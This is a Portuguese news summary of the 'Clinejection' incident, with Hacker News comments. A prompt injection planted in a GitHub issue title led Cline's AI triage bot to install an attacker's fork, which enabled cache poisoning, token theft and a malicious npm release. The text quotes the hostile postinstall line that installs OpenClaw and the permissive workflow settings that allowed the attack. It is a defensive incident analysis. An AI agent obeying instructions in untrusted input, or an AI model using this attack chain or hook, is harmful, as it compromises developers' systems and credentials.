- Prompt injection inserido no título foi usado para injetar comandos por meio do bot de triagem de issues com IA do Cline
- Tokens do npm foram roubados e, ao publicar um Cline malicioso, o agente de IA OpenClaw foi instalado sem autorização
- O atacante montou uma cadeia de 5 etapas: prompt injection → execução arbitrária de código pelo bot de IA → cache poisoning → roubo de credenciais → publicação de pacote malicioso
- Controles de segurança existentes (code review, npm audit, provenance attestations) não detectaram esse ataque
- Um pesquisador de segurança descobriu e reportou a vulnerabilidade no fim de dezembro de 2025, mas não houve resposta por 5 semanas, e mesmo após a divulgação pública o ataque foi executado por um erro na rotação de credenciais
- Surgiu um novo padrão de ameaça à cadeia de suprimentos em que um agente de IA instala outro agente de IA, destacando os riscos da automação com IA em ambientes de CI/CD
Visão geral do ataque
- Em 17 de fevereiro de 2026,
cline@2.3.0 foi publicado no npm; era o mesmo binário das versões anteriores, mas com uma linha adicional no package.json: "postinstall": "npm install -g openclaw@latest"
- Com isso, o OpenClaw foi instalado automaticamente em cerca de 4.000 sistemas de desenvolvedores que instalaram ou atualizaram o Cline durante um período de 8 horas
- OpenClaw é um agente de IA separado, com acesso ao sistema inteiro, instalado globalmente sem consentimento do usuário
Cadeia de ataque (Clinejection)
- Etapa 1: Prompt injection
- O Cline usava um workflow de triagem de issues com IA baseado no
claude-code-action da Anthropic
- Com a configuração
allowed_non_write_users: "*", qualquer pessoa podia abrir uma issue e acionar o bot
- Em 28 de janeiro, o atacante criou a Issue #8904 com um título que parecia um relatório de desempenho, mas escondia instruções para “instalar um pacote específico”
- Etapa 2: Execução do comando pelo bot de IA
- Claude interpretou a instrução como legítima e executou
npm install no fork do atacante (glthub-actions/cline)
- O
package.json desse fork continha um script preinstall que executava um script de shell remoto
- Etapa 3: Envenenamento de cache (Cache Poisoning)
- O script implantou o Cacheract, que envenena o cache do GitHub Actions
- Mais de 10 GB de dados foram injetados para expulsar o cache legítimo e falsificar a chave de cache usada pelo workflow de release noturno do Cline
- Etapa 4: Roubo de credenciais
- Quando o workflow de release restaurou
node_modules a partir do cache contaminado, NPM_RELEASE_TOKEN, VSCE_PAT e OVSX_PAT foram roubados
- Etapa 5: Publicação do pacote malicioso
- O atacante publicou
cline@2.3.0 usando o token npm roubado
- O monitoramento da StepSecurity detectou atividade anômala 14 minutos depois, e o pacote foi removido 8 horas após a publicação
Falhas na resposta e medidas posteriores
- O pesquisador de segurança Adnan Khan descobriu a vulnerabilidade em dezembro de 2025 e a reportou em 1º de janeiro de 2026 via GitHub Security Advisory, mas não houve resposta por 5 semanas
- Quando Khan fez a divulgação pública em 9 de fevereiro, o Cline removeu e corrigiu o workflow de triagem com IA em 30 minutos
- No dia seguinte, iniciou a rotação das credenciais, mas removeu o token errado, deixando os tokens expostos ainda ativos
- O erro foi identificado em 11 de fevereiro e as credenciais foram rotacionadas novamente, mas o atacante já havia roubado as credenciais
- O token do npm permaneceu válido por tempo suficiente para permitir a publicação do pacote malicioso 6 dias depois
- Khan não era o atacante — um terceiro desconhecido encontrou a PoC no repositório de testes de Khan e a transformou em arma diretamente contra o Cline
Um novo padrão: IA instalando IA
- Neste incidente, uma ferramenta de IA instalou outro agente de IA, criando um problema de confiança recursiva na cadeia de suprimentos
- O desenvolvedor confia na Ferramenta A (Cline) → a Ferramenta A é comprometida e instala a Ferramenta B (OpenClaw)
→ a Ferramenta B tem capacidades próprias independentes da Ferramenta A (execução de shell, acesso a credenciais, instalação de daemon persistente) e fica fora da decisão original de confiança do desenvolvedor
- O OpenClaw pode ler credenciais em
~/.openclaw/, executar comandos de shell via Gateway API e se instalar como um daemon persistente do sistema que sobrevive a reinicializações
- A Endor Labs avaliou isso como uma carga útil em nível de prova de conceito, mas o ponto central é o mecanismo em si — a próxima carga útil pode não ser uma PoC
- Trata-se de uma versão para a cadeia de suprimentos do problema de “Confused Deputy”, em que permissões concedidas pelo desenvolvedor foram delegadas a um terceiro agente
- O desenvolvedor delega autoridade ao Cline, e o Cline a delega (via comprometimento) a um agente totalmente diferente que o desenvolvedor nunca avaliou, configurou ou aprovou
Por que os controles de segurança existentes falharam
- npm audit: o pacote instalado pelo script
postinstall era legítimo e não malicioso (OpenClaw), então não havia malware a detectar
- Code review: o binário do CLI era idêntico byte a byte ao da versão anterior; apenas uma linha do
package.json foi alterada, o que escaparia de verificações automáticas de diff focadas em mudanças binárias
- Provenance attestation: o Cline não usava npm provenance baseado em OIDC naquele momento, então era possível publicar com o token comprometido sem metadados de provenance
- A StepSecurity marcou isso como anômalo
- Prompts de permissão: a instalação ocorreu no hook
postinstall durante npm install, e nenhuma ferramenta de codificação com IA pede confirmação ao usuário antes de executar scripts de ciclo de vida de dependências, então a manipulação permaneceu invisível
- O ataque explorou a lacuna entre o que o desenvolvedor acredita estar instalando (uma versão específica do Cline) e o que realmente é executado (scripts arbitrários do ciclo de vida do pacote e instalações transitivas)
Resposta posterior do Cline
- Melhorias divulgadas no post-mortem
- Remoção do uso de cache do GitHub Actions em workflows que lidam com credenciais
- Adoção de OIDC provenance attestation para publicação no npm, eliminando tokens de longa duração
- Inclusão de requisitos de verificação para rotação de credenciais
- Início da construção de um processo formal de divulgação de vulnerabilidades com SLA
- Contratação de uma auditoria de segurança terceirizada para a infraestrutura de CI/CD
- Só a migração para OIDC já poderia ter impedido este ataque
- Os tokens roubados não permitiriam publicar pacotes em um sistema de provenance que exige prova criptográfica de um workflow específico do GitHub Actions
Problema estrutural e lições
- Clinejection é, ao mesmo tempo, um ataque à cadeia de suprimentos e um problema de segurança de agentes
- O ponto de entrada do ataque foi uma entrada em linguagem natural no título de uma issue do GitHub, que o bot de IA executou como comando
- A estrutura é a mesma de contaminação de ferramentas MCP ou ataques a registros de skills de agentes
- Entrada não confiável chega ao agente → o agente age → não existe uma entidade que avalie a ação resultante antes da execução
- Neste caso, o agente não era um assistente local de programação do desenvolvedor, mas um workflow automatizado de CI executado em toda nova issue, com acesso a shell e credenciais em cache
- O raio de impacto não foi a máquina de um único desenvolvedor, mas todo o pipeline de entrega do projeto
- Todas as equipes que implantam agentes de IA em CI/CD (triagem de issues, code review, testes automatizados etc.) estão expostas ao mesmo risco
- É preciso reconhecer o risco da combinação entre entrada não confiável e acesso a segredos
- O agente processa entradas não confiáveis (issues, PRs, comentários) enquanto pode acessar segredos (tokens, chaves, credenciais)
- Interceptação em nível de syscall pode capturar esse tipo de ataque na camada operacional:
- Quando um bot de triagem com IA tenta executar
npm install em um repositório inesperado, a ação pode ser avaliada por política independentemente do conteúdo do título da issue, e o tráfego de saída pode ser bloqueado quando scripts de ciclo de vida tentarem exfiltrar credenciais para hosts externos
3 comentários
Se apanharam desse tanto, pelo menos já deveria surgir a consciência de que é preciso dar mais atenção à segurança ao usar LLMs ou agentes..
Por um tempo, as coisas vão explodir com prompt injection por todo lado
Hoje em dia, coisas parecidas continuam acontecendo com frequência em pacotes npm.
Comentários do Hacker News
O workflow de triagem de issues do Cline era executado no evento
issuese estava configurado comallowed_non_write_users: "*"Ou seja, qualquer pessoa, bastando abrir uma issue, podia disparar o GitHub Actions, e graças à opção
--allowedTools "Bash,Read,Write,Edit,Glob,Grep,WebFetch,WebSearch", o Claude acabava com permissão para executar código arbitrário dentro do workflow da branch principalDeixar essa configuração assim e ainda rodar um agente de IA parece completamente insano
Houve até tentativas de fazer a IA ler automaticamente menções da empresa nas redes sociais e criar bug reports
Eu ajudo a elaborar políticas de IA na empresa e, em um teste, quando demos a Claude um e-mail malicioso para processar, ele tentou expor todas as informações de tickets de segurança
Felizmente, a função de envio de e-mail estava desativada, então nada foi realmente enviado
Esse tipo de automação de IA sem defesa nenhuma lembra o velho caos de SQL injection. No fim, parece que muita gente ainda vai precisar se queimar até surgirem proteções adequadas
O artigo deveria ter enfatizado mais que o trigger
issuesdo GitHub é tão perigoso quanto o infamepull_request_targetA partir do momento em que entrada de usuário entra no workflow, ela deve ser tratada como código de ataque em potencial
Antes, CI ficava no Travis e automação no Zapier, separados; o GitHub Actions juntou tudo num só lugar e passou a ter permissões demais
Como o Zapier não executa binários arbitrários, o risco de comprometimento era bem menor
Ainda não existe um método de validação de entrada que seja totalmente seguro
Já houve casos de LLM executando comandos codificados em base64 (link de exemplo)
No fim, toda entrada deve ser tratada como dado adversarial. Como o LLM também pode “alucinar” ações por conta própria, acesso a sistemas de produção deve ser terminantemente proibido
Por padrão, nenhum workflow deveria incluir credenciais, e eles deveriam ser restritos apenas a eventos de usuários privilegiados, como mantenedores
A diferença é que o Zapier é tratado como um serviço caixa-preta, então a responsabilidade de segurança recai totalmente sobre eles
Já no GHA, GitHub e usuário dividem a responsabilidade, o que torna tudo mais complexo
Ainda assim, o GHA é muito mais flexível que o Zapier, e a maioria dos usuários acaba executando código arbitrário de qualquer forma via Lambda ou webhooks
O título problemático era o seguinte
Só que
github:cline/cline#b181e0na verdade apontava para um repositório forkado com script malicioso de postinstallLink do commit em questão
Até agora há pouco, eu também achava que
github:cline/clinesignificava o mesmo repositórioFico curioso se o npm conseguiria mitigar isso de alguma forma por meio da integração com o GitHub
O título da issue foi inserido diretamente no prompt do Claude como
${{ github.event.issue.title }}, e o problema foi que isso ocorreu sem sanitização da entradaMas, como o Claude tende a “entender gentilmente” pedidos dentro do prompt, parece improvável que uma sanitização simples tivesse resolvido
Todo comando npm deveria ser executado obrigatoriamente em um ambiente sandbox
Vendo esse vetor de ataque crescer, eu mesmo criei o amazing-sandbox
Todos os desenvolvedores que instalaram ou atualizaram o Cline durante 8 horas acabaram instalando no sistema inteiro outro agente de IA chamado OpenClaw
A única exceção foram os que usavam
ignore-scripts=truena configuração do npmO post-mortem do Cline organiza bem os fatos relacionados
Ainda assim, chamar o OpenClaw de “payload inofensivo” ou de cavalo de Troia depende de perspectiva
Ninguém deveria confiar plenamente em IA ou em ferramentas de IA
Casos assim só reforçam com força essa realidade
Pesquisando, vi até matérias chamando o OpenClaw de “agente de IA viral”
Antigamente, instalar um software desses já seria suficiente para considerar o sistema comprometido
O problema é a própria estrutura: código com privilégios arbitrários executando entrada não confiável, e neste caso isso ainda foi vendido como parte central do valor do produto
É surpreendente que empresas de IA ainda não entendam a semelhança entre SQL injection e prompt injection
Prompts precisam do mesmo nível de proteção